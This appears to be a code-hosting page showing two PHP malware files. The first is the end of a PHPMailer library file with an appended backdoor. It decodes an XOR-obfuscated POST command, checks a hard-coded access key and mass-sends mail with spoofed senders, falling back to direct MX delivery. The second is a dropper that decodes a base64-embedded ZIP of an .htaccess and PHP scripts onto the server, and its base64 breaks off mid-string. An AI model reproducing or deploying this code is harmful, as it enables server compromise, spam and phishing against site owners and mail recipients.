$signed = $this->DKIM_Sign($toSign); | |
return $dkimhdrs . $signed . "\r\n"; | |
} | |
public function getToAddresses() | |
{ | |
return $this->to; | |
} | |
public function getCcAddresses() | |
{ | |
return $this->cc; | |
} | |
public function getBccAddresses() | |
{ | |
return $this->bcc; | |
} | |
public function getReplyToAddresses() | |
{ | |
return $this->ReplyTo; | |
} | |
public function getAllRecipientAddresses() | |
{ | |
return $this->all_recipients; | |
} | |
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) | |
{ | |
if (!empty($this->action_function) && is_callable($this->action_function)) { | |
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); | |
call_user_func_array($this->action_function, $params); | |
} | |
} | |
} | |
class phpmailerException extends Exception | |
{ | |
public function errorMessage() | |
{ | |
$errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n"; | |
return $errorMsg; | |
} | |
} | |
///////////////////////////////////////////////////////////////// | |
function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type) | |
{ | |
$mail = new PHPMailer(); | |
$mail->isMail(); | |
$mail->CharSet = 'utf-8'; | |
$mail->SetFrom($from_email, $from_name); | |
$mail->AddAddress($to); | |
$mail->Subject = $subject; | |
if ($type == "1") | |
{ | |
$mail->MsgHTML($body); | |
} | |
elseif ($type == "2") | |
{ | |
$mail->isHTML(false); | |
$mail->Body = $body; | |
} | |
if (isset($_FILES)) | |
{ | |
foreach($_FILES as $key => $file) | |
{ | |
$mail->addAttachment($file['tmp_name'], $file['name']); | |
} | |
} | |
if (!$mail->send()) | |
{ | |
$to_domain = explode("@", $to); | |
$to_domain = $to_domain[1]; | |
$mail->IsSMTP(); | |
$mail->Host = mx_lookup($to_domain); | |
$mail->Port = 25; | |
$mail->SMTPAuth = false; | |
if (!$mail->send()) | |
{ | |
return Array(0, $mail->ErrorInfo); | |
} | |
else | |
{ | |
return Array(2, 0); | |
} | |
} | |
else | |
{ | |
return Array(1, 0); | |
} | |
} | |
function mx_lookup($hostname) | |
{ | |
@getmxrr($hostname, $mxhosts, $precedence); | |
if(count($mxhosts) === 0) return '127.0.0.1'; | |
$position = array_keys($precedence, min($precedence)); | |
return $mxhosts[$position[0]]; | |
} | |
function myhex2bin( $str ) { | |
$sbin = ""; | |
$len = strlen( $str ); | |
for ( $i = 0; $i < $len; $i += 2 ) { | |
$sbin .= pack( "H*", substr( $str, $i, 2 ) ); | |
} | |
return $sbin; | |
} | |
function b64d($input) { | |
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
$i = 0; | |
$output = ""; | |
$input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input); | |
do { | |
$enc1 = strpos($keyStr, substr($input, $i++, 1)); | |
$enc2 = strpos($keyStr, substr($input, $i++, 1)); | |
$enc3 = strpos($keyStr, substr($input, $i++, 1)); | |
$enc4 = strpos($keyStr, substr($input, $i++, 1)); | |
$chr1 = ($enc1 << 2) | ($enc2 >> 4); | |
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); | |
$chr3 = (($enc3 & 3) << 6) | $enc4; | |
$output = $output . chr((int) $chr1); | |
if ($enc3 != 64) { | |
$output = $output . chr((int) $chr2); | |
} | |
if ($enc4 != 64) { | |
$output = $output . chr((int) $chr3); | |
} | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
} while ($i < strlen($input)); | |
return $output; | |
} | |
function decode($data, $key) | |
{ | |
$out_data = ""; | |
for ($i=0; $i<strlen($data);) | |
{ | |
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) | |
{ | |
$out_data .= chr(ord($data[$i]) ^ ord($key[$j])); | |
} | |
} | |
return $out_data; | |
} | |
function type1_send($config) | |
{ | |
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; | |
$data = b64d($config); | |
$data = decode($data, $key); | |
$data = @unserialize($data); | |
if (!$data || !isset($data['ak'])) | |
{ | |
return FALSE; | |
} | |
if ($data['ak'] != "9cd0eaea-d5a1-4da5-a1e1-0dd80af8b06e") | |
{ | |
exit(); | |
} | |
if (isset($data['c'])) | |
{ | |
$res["r"]["c"] = $data['c']; | |
return serialize($res); | |
} | |
$good = 0; | |
$bad = 0; | |
$last_error = Array(0, 0); | |
foreach ($data['e'] as $uid=>$email) | |
{ | |
$theme = $data['s'][array_rand($data['s'])]; | |
$theme = alter_macros($theme); | |
$theme = num_macros($theme); | |
$theme = xnum_macros($theme); | |
$message = $data['l']; | |
$message = alter_macros($message); | |
$message = num_macros($message); | |
$message = xnum_macros($message); | |
$message = fteil_macros($message, $uid); | |
$from = $data['f'][array_rand($data['f'])]; | |
$from = alter_macros($from); | |
$from = num_macros($from); | |
$from = xnum_macros($from); | |
if (strstr($from, "[CUSTOM]") == FALSE) | |
{ | |
$from = from_host($from); | |
} | |
else | |
{ | |
$from = str_replace("[CUSTOM]", "", $from); | |
} | |
$from_email = explode("<", $from); | |
$from_email = explode(">", $from_email[1]); | |
$from_name = explode("\"", $from); | |
$last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']); | |
if ($last_error[1] === 0) | |
{ | |
$good++; | |
} | |
else | |
{ | |
$bad++; | |
$good = count($data['e']) - $bad; | |
} | |
} | |
$res["r"]["t"] = $last_error[0]; | |
$res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1]; | |
$res["r"]["g"] = $good; | |
$res["r"]["b"] = $bad; | |
return serialize($res); | |
} | |
$config = array_values($_POST); | |
$res = type1_send($config[0]); | |
if ($res) { | |
echo $res; | |
} | |
exit(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if( isset($_REQUEST["test_url"]) ){ | |
echo "file test okay"; | |
} | |
$data = base64_decode("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